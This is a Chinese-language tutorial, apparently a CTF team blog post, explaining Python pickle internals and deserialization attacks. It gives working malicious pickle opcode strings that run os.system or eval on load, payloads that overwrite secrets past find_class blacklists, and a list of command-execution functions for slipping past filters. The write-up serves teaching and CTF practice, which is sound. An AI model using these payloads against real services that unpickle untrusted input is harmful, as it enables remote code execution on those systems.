不安全的反序列化_Python Pickle 反序列化安全问题

发布时间:2020-12-11 序列化 PYTHON

Python Pickle

反序列化安全问题

在python中,相比于存储一个数字或者字符串,如果我们想要存储一个字典、列表或者对象,似乎并没有那么容易。但python和PHP等其他语言一样,也提供了一种序列化和反序列化的方法用来解决这个问题:我们可以把他们“序列化”成一种符合特殊规范的字符串,然后将其存储到一个文件当中。当我们想要获取该元素的时候,可以从文件中读取对应的字符串来进行“反序列化”,再经过某种特定的规范进行某种操作来获取到对应的元素。简单来说,把一个“对象”(或者其他)变成“字符串”的过程,就叫做序列化;把“字符串”翻译成“对象”的过程,叫做反序列化。但是不正确的反序列化会引发一些安全问题。

Pickle:python的序列化库

现来看一段简单的代码:

import pickle

class pickle_test:
    def __init__(self):
        self.date = 20200911
        self.name = "F4de"

a = pickle_test()
# 序列化对象
s = pickle.dumps(a, protocol=2)
print(s)
# 执行反序列化操作
print(pickle.loads(s))

我们把一个简单的类进行实例化操作并将其序列化,然后对得到的序列化字符串进行一次反序列化的操作,程序的运行结果如下:

6f85444d9841015fa0c1fbc6e5fc5522.png

我们序列化操作完成的时候得到了一串晦涩难懂的字符串(现在我们不需要知道它具体的含义,之后会进行讲解);然后反序列化的时候获得了pickle_test类的实例化对象(__main__是python顶层代码执行的作用域的名称)。OK,至此我们就完成了一次简单的序列化与反序列化的操作。

摘自python官方文档

下列类型可以被打包:

  • NoneTrueFalse
  • 整数、浮点数、复数
  • str、byte、bytearray
  • 只包含可打包对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块顶层的函数(使用 def 定义,lambda 函数则不可以)
  • 定义在模块顶层的内置函数
  • 定义在模块顶层的类
  • 某些类实例,这些类的 __dict__ 属性值或 __getstate__() 函数的返回值可以被打包

存储一个字符串和存储一个对象,前者显然是更加容易的。

98de4a80325aa23db3904b77cea2c008.png

pickle.loads():我是一个接口

根据上面的学习可以知道,python是通过pickle.loads()方法将那一串字符串“翻译”成一个对象的。其实loads()方法是实现于Unpickler类的,下面是loads()方法的底层代码:

def _loads(s, *, fix_imports=True, encoding="ASCII", errors="strict",
           buffers=None):
    if isinstance(s, str):
        raise TypeError("Can't load pickle from unicode string")
    file = io.BytesIO(s)
    return _Unpickler(file, fix_imports=fix_imports, buffers=buffers,
                      encoding=encoding, errors=errors).load()

通过阅读源码我们可以得到如下的信息:loads()方法把得到的东西作为流传给Unpickler类,并调用该类的load()方法。

Unpickler类:更加底层的运作方式

下面我们来看Unpickler类都做了一些什么事情

摘自python官方文档:

class pickle.Unpickler(file, ***, fix_imports=True, encoding="ASCII", errors="strict")

它接受一个二进制文件用于读取 pickle 数据流。

Pickle 协议版本是自动检测出来的,所以不需要参数来指定协议。

参数 file 必须有两个方法,其中 read() 方法接受一个整数参数,而 readline() 方法不需要参数。两个方法都应返回字节串。因此 file 可以是一个打开用于二进制读取的磁盘文件对象、一个 io.BytesIO 对象,或者任何满足此接口要求的其他自定义对象。

可选的关键字参数有 fix_imports, encoding 和 errors,它们用于控制由 Python 2 所生成 pickle 流的兼容性支持。如果 fix_imports 为真值,则 pickle 将尝试把旧的 Python 2 名称映射到 Python 3 所使用的新名称。encoding 和 errors 将告知 pickle 如何解码由 Python 2 所封存的 8 位字符串实例;这两个参数的默认值分别为 'ASCII' 和 'strict'。encoding 可设为 'bytes' 以将这些 8 位字符串实例作为字节对象来读取。

  • load()

    从构造函数中指定的文件对象里读取打包好的对象,重建其中特定对象的层次结构并返回。打包对象以外的其他字节将被忽略。

Unpickler.load()解析那个晦涩难懂的字符串的时候,依赖于Pickle Virtual Machine(PVM)进行,而PVM涉及到以下的几个概念:

  • 栈:用来临时存储数据、参数和对象。
  • 解析引擎:从二进制流中读取opcode和参数,并对其进行解释处理,直至遇到.号为止,最终停留在栈顶的值将被作为反序列化的值返回。
  • 内存:为PVM的生命周期提供存储。

也就是说,Unpickler.load()方法依赖于PVM,在底层对序列化字符串进行着某种操作,从而最后得到了我们看到的反序列化出来的结果。

那么有没有一种方法,可以让我们直观的看到这种运作方式呢?

Pickletools:Pickle调试器

Pickletools是python自带的一个库,其主要功能如下:

  • 反汇编一个已经序列化字符串。
  • 对一个序列化字符串进行优化(去除一些不必要的指令)。

对一个序列化字符串进行反汇编,获得其汇编指令(依然采用文章开始的例子):

使用pickletools的dis方法对一个已经打包好的字符串进行反汇编。

import pickle
import pickletools

class pickle_test:
    def __init__(self):
        self.date = 20200911
        self.name = "F4de"

a = pickle_test()
# 序列化对象
s = pickle.dumps(a, protocol=2)
print(s)
print("序列化完成·······")

# 进行反汇编
print('------------------')
pickletools.dis(s)

运行结果如下:

3b1d4446c768b1b926da5a2d9ce77914.png

我们还可以对其进行优化,使打包好的字符串和反汇编指令更加简洁:

使用pickletools库中的optimize方法对打包的字符串和反汇编指令进行优化。

import pickle
import pickletools

class pickle_test:
    def __init__(self):
        self.date = 20200911
        self.name = "F4de"

a = pickle_test()
# 序列化对象
s = pickle.dumps(a, protocol=2)
# 进行优化
s = pickletools.optimize(s)
print(s)
print("序列化完成·······")


print('------------------')
pickletools.dis(s)

7408970422e40ea5690c458bfb205c85.png

横向对比优化前和优化后指令,发现少了一些非必要的BINPUT指令,该指令的作用是push item from memo on stack; index is 1-byte arg,简单来说就是把当前栈的栈顶复制一份,放进储存区。总之,利用pickletools,我们可以以一种更加清晰的方式看到PVM在底层运作序列化字符串的方式。

在上文中,我们了解了Unpickler是利用PVM来运作opcode的,接下来开始介绍PVM是如何识别那个晦涩难懂的字符串并转化成一个个的指令在栈和内存中执行的。

opcode:不同的操作码对应不同的动作

上面对于opcode的介绍算是一个小插曲,接下来开始学习PVM是如何运作opcode的。我们再次回到那个晦涩难懂的字符串:

7408970422e40ea5690c458bfb205c85.png

我们需要知道的是:PVM引擎会识别opcode中不同的指令码,从而进行相应的操作。

字符串的第一个字符是\x80,PVM引擎识别到这个字符,就会进行如下的操作:再向下读取一个字节。

那么接下来,它会读取到\x02,PVM读到这个字符会识别出序列化协议的版本是2。继续往后走,它会读取到c操作符,PVM会做下面这么一件事情:连续往后读取两个字符串(每个字符串以\n结尾),第一个字符串记为moudle,第二个字符串记为name,并把moudle.name压进当前栈中;对应上面的例子,moudle就是__main__,name就是pickle_test,PVM会把__main__.pickle_test压进当前栈中。所以到目前为止,栈中的元素只有一个__main__.pickle_test

2edc393af0a0f0c848104341cbf564d4.png  

再往下读取到),PVM会进行的操作是:把一个空的元组压入当前栈。

4b26411ff4845ec36575dc0cc05121aa.png  

接下来是\x81操作符,会进行的操作是:从栈中弹出一个元素,记为args;再弹出一个元素,记为cls,并执行cls.__new__(cls, *args),然后把得到的东西压入当前栈。

0a1eaa672233cf5b544df0c4d24b55ab.png  

PVM把我们之前压入栈中的两个字符串分别作为两个参数,使用__new__方法形成了一个新的对象。所以到现在为止,当前栈中的元素只有一个实例化的pickle_test类,而该实例中什么都没有。因为初始化的时候,tuple是一个空的元组。

接下来是}操作符,它会将一个空的字典压入栈中。

6cf150cb8b68a6d0e550c1312b86fdbf.png  

然后是(,它是MARK操作符,会进行下面的操作:把现在当前栈中的东西打包成一个列表,然后整体压进前序栈,最后清空当前栈。

e412a7d01939807d44294edded0bfbe9.png  

还记得前文中所说的吗?当前栈用来处理python运行过程中最顶层的信息,而前序栈更像是一个缓冲区,用来处理下层的信息。

现在当前栈为空,而前序栈中存放了一个打包好的列表,接下来的操作依然会在当前栈中进行。

接着是X操作符,它的作用是把一个uft-8编码的字符串压进栈中。然后是J操作符,它的作用是把一个四字节的int类型的整数压入栈中。然后又执行了两次X操作符。

所以在执行完上述4步之后,当前栈可以用下图表示:

60047541993bbad2abaa1d7e46291050.png  

然后是u操作符,它做的事情比较多:

  • 执行pop_mark,把当前栈的内容打包成一个列表list,然后把当前栈的状态恢复到执行MARK操作符之前。

  • 拿到当前栈的最后的元素,并且规定该元素必须是一个空的字典。然后一组一组地读list中的元素,前者作为key,后者作为value,存放进那个空字典当中。

    e48adc9e513f9613692c56d11a3aadb5.png

执行完这个相对复杂的操作之后,当前栈中的元素为一个存放有元素的字典、一个实例化的pickle_test类。

下一个操作符是b,它做的事情称为BUILD:

  • 把当前栈的栈顶元素存入内存,记为state,然后弹出栈。
  • 再把当前栈的栈顶元素记为topele,然后弹出栈。
  • state来初始化实例topele,然后把得到的实例放进当前栈中。

python官方文档中称上述的操作为实例的解封。

······

解封过程

当解封时,如果类定义了__setstate__(),就会在已解封的状态下调用它。此时不要求实例的 state 对象必须是 dict。没有定义此方法的话,先前封存的 state 对象必须是 dict,且该 dict 内容会在解封时赋给新实例的__dict__。

我们在定义pickle_test类的时候并没有定义__setstate__()方法,所以在执行初始化操作的时候,得到的dict会赋值给pickle_test实例的__dict__

此时的当前栈:

133251d49eeeb23e744bc71eeca109b0.png  

再执行完b操作符后,PVM引擎遇到了.号,还记得我们上文中所说过的吗?

解析引擎:从二进制流中读取opcode和参数,并对其进行解释处理,直至遇到.号为止,最终停留在栈顶的值将被作为反序列化的值返回。

所以最后一步,反序化操作完成,已经初始化好的对象作为当前栈栈顶的元素被作为反序列化的值。

import pickle
import pickletools

class pickle_test:
    def __init__(self):
        self.date = 20200911
        self.name = "F4de"

a = pickle_test()
# 序列化对象
s = pickle.dumps(a, protocol=2)
# 进行优化
s = pickletools.optimize(s)
obj = pickle.loads(s)
print(obj.__dict__)
8c469fa59d3140a4426fd6f98b3dfc8b.png  

opcode:我有不同的版本

opcode:即pickle序列化完成后得到的字符串。

python3和python2得到的opcode是不相同的,以下实例均在python3环境下运行。

在python3中,opcode共有6种不同的版本,可以在dumps()方法中使用protocol参数来指定opcode的版本:

import pickle
import pickletools

class pickle_test:
    def __init__(self):
        self.date = 20200911
        self.name = "F4de"

a = pickle_test()
# 序列化对象

for i in range(0, 6):
    s = pickle.dumps(a, protocol=i)
    # 进行优化
    s = pickletools.optimize(s)
    print('opcode版本:{}'.format(str(i)), s)
71669f5f41a293f467edb1505d30d599.png

opcode是向下兼容的,其中第零个版本是最容易阅读和构造的,所以在下面的沙箱逃逸的opcode构造过程中,我们均选用0版本的opocde来构造payload。

常用opcode含义表(0版本)

opcode描述具体写法栈上的变化memo上的变化
c获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包)c[module]\n[instance]\n获得的对象入栈
o寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)o这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)i[module]\n[callable]\n这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N实例化一个NoneN获得的对象入栈
S实例化一个字符串对象S'xxx'\n(也可以使用双引号、'等python字符串形式)获得的对象入栈
V实例化一个UNICODE字符串对象Vxxx\n获得的对象入栈
I实例化一个int对象Ixxx\n获得的对象入栈
F实例化一个float对象Fx.x\n获得的对象入栈
R选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数R函数和参数出栈,函数的返回值入栈
.程序结束,栈顶的一个元素作为pickle.loads()的返回值.
(向栈中压入一个MARK标记(MARK标记入栈
t寻找栈中的上一个MARK,并组合之间的数据为元组tMARK标记以及被组合的数据出栈,获得的对象入栈
)向栈中直接压入一个空元组)空元组入栈
l寻找栈中的上一个MARK,并组合之间的数据为列表lMARK标记以及被组合的数据出栈,获得的对象入栈
]向栈中直接压入一个空列表]空列表入栈
d寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)dMARK标记以及被组合的数据出栈,获得的对象入栈
}向栈中直接压入一个空字典}空字典入栈
p将栈顶对象储存至memo_npn\n对象被储存
g将memo_n的对象压栈gn\n对象被压栈
0丢弃栈顶对象0栈顶对象被丢弃
b使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置b栈上第一个元素出栈
s将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中s第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中uMARK标记以及被组合的数据出栈,字典被更新
a将栈的第一个元素append到第二个元素(列表)中a栈顶元素出栈,第二个元素(列表)被更新
e寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中eMARK标记以及被组合的数据出栈,列表被更新

读者需要额外注意(操作符和t操作符,在后文中会经常利用这两个操作符来构造opcode。

关于更多的操作符的解释,可以参考:https://github.com/python/cpython/blob/9412f4d1ad28d48d8bb4725f05fd8f8d0daf8cd2/Lib/pickle.py

R操作符:危险的信号

在CTF中,关于python反序列化,遇到最多的就是利用__rudece__来执行任意命令,现来看一段代码:

import pickle
import pickletools

class pickle_test:
    def __reduce__(self):
        return(__import__('os').system, ('whoami', ))

a = pickle_test()
s = pickle.dumps(a, protocol=2)
s = pickletools.optimize(s)
print(s)

pickletools.dis(s)
b9d513e678edad568c4f39b1bfbbcac0.png

可以看到,在反序列化的时候执行了系统命令。我们可以通过分析它的opcode,看看反序列化的时候,PVM都干了什么事情:

5388b14a3e259e198901a34e28e49c43.png

 

结合之前的解释,相信各位读者已经可以读懂这段opcode了,这里主要说一下R操作符,它的作用是:

  • 把当前栈的栈顶元素记为args,然后弹出栈。
  • 把当前栈的栈顶元素记为func,然后弹出栈。
  • args作为参数(该参数必须是元组),执行func,把结果压进栈中。
310b1c52342500502cd38efc3a209917.png  

__ruduce__会在反序列化的之后被执行,其底层的操作码就是R。所以我们可以利用__ruduce__生成恶意的opcode,然后当反序列化的时候会解释我们构造的opcode,从而达到恶意攻击效果。

在题目中,经常会碰到利用黑名单ban掉system等等函数的情况,这种题目的通常解法就是寻找黑名单的漏网之鱼,下面是整理的一些常用的命令执行函数:

eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen

c操作符:可以进行变量覆盖

在上文中提到的c操作符的作用是:连续往后读取两个字符串(每个字符串以\n结尾),第一个字符串记为moudle,第二个字符串记为name,并把moudle.name压进当前栈中。

其实c操作符是基于find_class(moudle, name)来实现的,find_class()函数实现的功能简单来说就是:去moudle模块中找到name。但是需要注意的是,moudle必须在name的顶层。

摘自python官方文档

find_class(module, name)

如有必要,导入 module 模块并返回其中名叫 name 的对象,其中 module 和 name 参数都是 str 对象。注意,不要被这个函数的名字迷惑, find_class() 同样可以用来导入函数。

def find_class(self, module, name):
    # Subclasses may override this.
    sys.audit('pickle.find_class', module, name)
    if self.proto 3 and self.fix_imports:
     if (module, name) in _compat_pickle.NAME_MAPPING:
         module, name = _compat_pickle.NAME_MAPPING[(module, name)]
        elif module in _compat_pickle.IMPORT_MAPPING:
            module = _compat_pickle.IMPORT_MAPPING[module]
    __import__(module, level=0)
    if self.proto >= 4:
     return _getattribute(sys.modules[module], name)[0]
    else:
        return getattr(sys.modules[module], name)

可以看下面这个示例demo:

import pickle
import secret
import os
import base64

class pickle_test:
    def __init__(self):
        self.name = 'Demo'
        self.sign = 'Hello'

ser = base64.b64decode(input("input:"))
print(ser)
# 过滤R操作符,防止危险函数
if b'R' in ser:
    os._exit(0)
else:
    obj = pickle.loads(ser)

if obj.name == secret.name and obj.sign == secret.sign:
    print(secret.flag)
else:
    print("Come on")

demo中过滤了R操作符,无法执行exec函数完成变量覆盖,并且只有当反序列化后得到的对象的namesignsecret模块中的namesign相等才会返回flag。

对于这种情况,我们可以使用c操作符来进行变量覆盖,基本的思路就是,在初始化pickle_test对象的时候,利用c操作码来引入secret模块中的namesign,再使用b操作码来进行BUILD。

现在我们开始手动构造opcode:

  1. 首先需要引入pickle_test对象实例:c__main__pickle_test\n)\x81
  2. 然后压入空字典,并打上MARK标记:}(
  3. 向栈中压入对应的元素,然后进行初始化:Vname\ncsecret\nname\nVsign\ncsecret\nsign\nub.
payload : b"c__main__\npickle_test\n)\x81}(Vname\ncsecret\nname\nVsign\ncsecret\nsign\nub."

我们再把替换后的opcode进行一次dis

6ccef0c97bfd54d6f252339631f16006.png可以看到,原来name的值和sign的值都变成了sercet模块下引入的namesign,我们再把替换后的opcode进行一次base64编码(注意一定要使用python进行编码):

dd1c2fc9106c0d4bf4e4a0eb13482766.png

然后传入我们所写的demo中(注意去掉b''符号),造成了namesign的变量覆盖,拿到flag:

b090ca41e018880c37d2157e454e63e4.png

secret.py文件:

2285140f04fbc8ba3815c4ca37a45e40.png

RCE:只有R操作符可以做到吗?

前文中我们提到了,R操作符会造成任意代码执行,那么只有R操作符可以进行RCE吗?

让我们来回想一下b操作符都干了一些什么事情:当解封时,如果类定义了__setstate__(),就会在已解封的状态下调用它。此时不要求实例的 state 对象必须是 dict。没有定义此方法的话,先前封存的 state 对象必须是 dict,且该 dict 内容会在解封时赋给新实例的__dict__。

那么现在设想这样一种情况:如果一个类(暂且称之为Test),它原先是没有定义__setstate__方法的,如果我们现在使用{"__setstate__": os.system}这个字典来初始化test类的对象(b操作符),现在这个对象便具有了__setstate__方法,之后我们再把待执行的命令作为参数(以whoami为例),再次使用b操作符来执行BUILD指令,由于此时对象存在__setstate__方法,所以便会执行os.system('whoami'),成功实现了RCE。

按照思路构造opcode:

  1. 获取Test对象实例:c__main__\nTest\n)\x81
  2. 压入空字典,并打上MARK标记:}(
  3. 使用__setstate__来初始化对象,然后BUILD:V__setstate__\ncos\nsystem\nub
  4. 再使用whoami来初始化对象的__setstate__,然后BUILD:Vwhoami\nb.
date = b'c__main__\nTest\n)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.'
pickletools.dis(date)
pickle.loads(date)
c2549036e1ea8921547ee4b4d8d3e5ba.png  

重写find_class():不一定绝对安全

在python官方文档中首先就提到了pickle模块是不安全的,因为在默认情况下,解封将会导入在pickle数据中找到的任意类和对象。官方给出了一种解决办法:可以通过重写find_class()方法来控制要解封的对象。通过白名单的方式来解决反序列化中的不安全问题,在很多题目中都是依赖于它来进行。

关于find_class()

  • 从opcode角度来看:它会在opcode中出现cib'\x93'的时候会被调用。
  • 从代码的角度来看:它会在opcode解析的时候调用一次。

下面的例子来自于python官方文档:

import builtins
import io
import pickle

safe_builtins = {
    'range',
    'complex',
    'set',
    'frozenset',
    'slice',
}

class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

重写了Unpicker.find_class()方法,采用了白名单的方式来限制可以使用的模块为{'range', 'complex', 'set', 'frozenset', 'slice'}

RCE

固定布局                                                        工具条上设置固定宽高
背景可以设置被包含
可以完美对齐背景图和文字
以及制作自己的模板

除了上面中提到的利用白名单方法来限制解封的对象,在题目中遇到的另一种很常见的题目就是利用黑名单来进行过滤:

import pickle
import io
import builtins


class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        if module == 'builtins' and name not in self.blacklist:
            return getattr(builtins, name)
        raise pickle.UnpicklingError(
            "global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

restricted_loads(data)

上面的代码使用了黑名单过滤的方法,当前我们可以使用的模块就是builtins下的除黑名单之外的模块。不过题目并没有过滤getattr,我们可以通过该方法来获取到builtins下的eval等危险函数,一个常规的思路就是getattar(builtins, 'eval')

2fd6ac68ff8c54f9cf115ba47dc0c69b.png  

那么现在需要做的就是:

  • 引入builtins模块,然后获取getattr方法
  • 再获取builtins模块,然后利用getattr来获取eval等危险函数
  • 利用eval函数来执行操作

好在代码中自动引入了builtins模块,所以我们可以很轻易地获得getattr方法

ecd0be3ac6ea53a7f165adb88eab3eae.png  

然后就是第二步操作:获得builtins模块,这里的思路就是:

  • 利用getattr获取到builtins模块下的dict中的get方法
  • 利用拿到的get方法去获取builtins.globals()中的builtins,拿到builtins模块

获取get方法:

7873a6be3532caceeaf5bba591558b5a.png  

然后拿get方法去globals()中的上下文中获取builtins模块

86c9188c431fb9cd9aad1f30cdbc705a.png  

现在已经拿到了builtins模块,然后利用getattr来从中获取eval等危险函数

92bf069768e3a98afc280bff010e1fbf.png  

执行命令:

66070e6b77fd46ace35d806cbb330158.png  

如果从正常的代码层面来看,整个流程可以用下面的代码来表示

53d90539d0673fd3120750275023a4a1.png  

如果从栈的角度来看,整个流程可以用下面的一组图来表示:

b"cbuiltins\ngetattr\n(cbuiltins\ndict\nVget\ntR."
6f31027255e5da33e08f8d0bb31495be.png  
b"cbuiltins\ngetattr\n(cbuiltins\ndict\nVget\ntR(cbuiltins\nglobals\n(tRVbuiltins\ntR."
34f2c6bc3ddaba0ed81e1eb52a53da32.png  
b"cbuiltins\ngetattr\n(cbuiltins\ndict\nVget\ntR(cbuiltins\nglobals\n(tRVbuiltins\ntRp1\ncbuiltins\ngetattr\n(g1\nVeval\ntR(V__import__('os').system('whoami')\ntR."
  bd63493dd8ddaf5ec8d9f247289d2f69.png

变量覆盖

固定布局                                                        工具条上设置固定宽高
背景可以设置被包含
可以完美对齐背景图和文字
以及制作自己的模板

如果find_class()重写不当或者过滤不完全,依然会产生安全问题,来看下面的例子(四川大学2020校赛):

want2know=xxx

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {
        'sys','eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit','getattr'
        }

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

...

        pickle_data=request.form.get('data')

        if pickle_data==None:
            return open('templates/pickle.html').read()

        try:
            pickle_data=base64.b64decode(pickle_data.encode())


            op_blackli=[b'R']

            for op in op_blackli:
                if op in pickle_data:
                    return '数据非法!'+op.decode()
            data=restricted_loads(pickle_data)

        except Exception:

            return "请输入正确的数据格式!"

        try:
            secret=request.form.get('secret')
        except Exception:
            return open('templates/pickle.html')

        if want2know==secret:
            return flag
        else:
            return '欢迎使用HACHp1的pickle测试工具!'
    else:
        return '没有权限查看!\n'

获取的flag的条件是输入的secret和题目中的want2know相等。题目中过滤了一些可以进行RCE的函数,并且过滤了getattr,这就意味着没有办法重新获取builtins模块然后进行之后的操作。

这道题目的解法就是利用globals()获取当前空间全局变量的字典,然后利用s或者u操作符来进行变量覆盖:

payload : b"cbuiltins\nglobals\n(tR(Vwant2know\nVhahaha\nu."

便于理解,我们可以查看它的汇编代码:

1b5b33eb84a45deb198c3bc72d0d27b8.png  

这时候再查看globals(),已经完成了变量覆盖:

a177c8a9aed5c41f5dec82904c88a0e6.png  

官方WP中给的解法:

payload : b"(ibuiltins\nglobals\np0\n0g0\nS'want2know'\nS'hachp1'\ns."
88363f9f47c8ab02563c7d5798d666d0.png  

大同小异,只不过把u操作符换成了s操作符,然后进行了相应的修改。

再看另外一种类型题目(来自高校战疫分享赛):

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__': # 只允许__main__模块
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
        
def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

题目中限制了引入的模块必须是__main__,这种过滤方法看似安全,但是所有引入__main__(主程序)的模块都可以被通过调用__main__模块来修改,造成了变量覆盖,我们可以通过下面的例子来分析这一问题:

import pickle
import secret
import builtins
import io
import sys
import base64


class Animal:
    def __init__(self, name):
        self.name = name


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError(
            "global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


pickle_data = input('input data:')
if b'R' in base64.b64decode(pickle_data):
    exit('What do U want to do?')
else:
    data = restricted_loads(base64.b64decode(pickle_data))

if type(data) is not Animal:
    exit("Are U sure this is an animal?")

if data.name == Animal(secret.name).name:
    print(secret.flag)
else:
    print("Your name is incorrect!")

这个demo中重写了find_class()方法,规定了引入的模块只能是__mian__,此外,还过滤了R操作符来防止任意代码执行。最后拿反序列化得到的data.namesecret.name进行比较,如果相等,则会返回flag。

对于这个题目,解法如下:

  1. 先通过__main__模块引入secret
  2. 向栈中压入一个字典,内容为{'name': '233'},这个字典中的name的值是我们自己定义的,我们下面会利用这个字典来覆盖掉我们未知的原来的secret.name
  3. 执行b操作符,使用这个字典来初始化__mian__.secret.name的值,完成了变量覆盖。
  4. 执行0操作符,将栈顶元素弹掉,现在栈中为空。
  5. 再正常序列化一个Animal类的对象data,其中data.name设置为233,这样就可以使if条件成立,拿到flag。

明白基本流程之后,我们开始着手构造opcode:

b'c__main__\nsecret\n}(Vname\nV233\nub0c__main__\nAnimal\n)\x81}(Vname\nV233\nub.'

我们可以用pickletools.dis()来反汇编opcode:

a39f0defa57c578fcf2edacb89ecbcf2.png  

base64编码之后传入opcode,结果如下:

bc56e33d457be97d685baa6891a7fa47.png  

我们可以编写下面这段简单的代码来验证变量覆盖的结果:

import pickle
import secret

data = b'c__main__\nsecret\n}(Vname\nV233\nub0c__main__\nAnimal\n)\x81}(Vname\nV233\nub.'
obj = pickle.loads(data)
print(secret.name)
print(obj.name)
6bbee164b063cbe905182c5d60cfa820.png  

结语

到现在为止,相信各位已经可以理解为什么有人说pickle是一种语言,对于pickle来说,它对于opcode的解析能力是远大于生成能力的。

感谢观看本文,如有错误,请各位师傅不吝赐教。

参考文章

[python官方文档](https://docs.python.org/zh-cn/3/library/pickle.html?highlight=pickle#module-pickle)

[先知社区:pickle反序列化初探](https://xz.aliyun.com/t/7436#%E5%8F%82%E8%80%83%E8%B5%84%E6%96%99)

[知乎:从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势](https://zhuanlan.zhihu.com/p/89132768)

981550a205eaaf29796d688c95c58e67.png 2cb2e69077ba5274f6dc9d7d1a6c22c9.png

三叶草小组公众号

微信号 : 三叶草小组Syclover

新浪微博:@三叶草小组Syclover

909f31d06d0f180b747c4b68c3ab732d.png

点击原文链接至作者博客查看更多〜122de5008fc354d0f3e439b67111f516.png

更多相关推荐


漏洞复现—Shiro rememberMe反序列化漏洞CVE-2016-4437

发布时间:2020-11-11 漏洞 序列化
基础知识  ApacheShiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。  ApacheShiro默认使用了CookieRememberMeManager,用户登录成功后会生成经过加密并编码的cookie,在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。漏洞原理  ApacheShiro处理c...

Shiro rememberMe反序列化漏洞(Shiro-550)复现

发布时间:2020-11-19 SHIRO 序列化
欢迎到我的博客查看原文:http://www.xpshuai.cn/posts/40239/漏洞原理ApacheShiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。Payload产生的过程:命令=>序列化=>A...

【漏洞复现】最简洁的Shiro RememberMe 1.2.4 反序列化命令执行漏洞

发布时间:2020-04-03 漏洞 序列化
0x00前言最近在内网进行测试,朋友跟我说在内网这种漏洞比较多,记得这个漏洞是很久之前就爆出来了,当时只是看了一下复现文档,没有进行实操,正好这次复现了,在这里记录一下,而且我这里使用的办法比网上大部分文章都相对简洁,很适合跟我一样的小白复现。0x01服务器环境安装直接使用docker进行环境的安装dockerpullmedicean/vulapps:s_shiro_1安装好之后为了能够进行访问与...

PHP扩展封装Protobuf反序列化方法(c++)

发布时间:2009-09-01 序列化 PHP
据说google的protobuf效率很高,我们决定尝试一下,使用到php项目中,作为反序列化的协议,调用.net的soa接口。 由于protobuf的源码只有java、c++、Python,我选用了c++作为开发语言,进行PHP扩展的开发。 首先,注意到与用c做PHP扩展的几点不同,主要集中在config.m4中:  PHP_ARG_ENABLE(protophp,whethertoenable...

反序列化 php 字符串

发布时间:2014-03-28 序列化 PHP
 有人知道下面的这段字符 是什么结构吗 ,如何解析?  $value['lastmessage=    a:3:{    s:12:"lastauthorid";    s:2:"19";    s:10:"lastauthor";    s:6:"xiaolu";    s:11:"lastsummary";    s:13:"seller 在吗";  }  $lastmessage=unser...

反序列化的小问题(1)

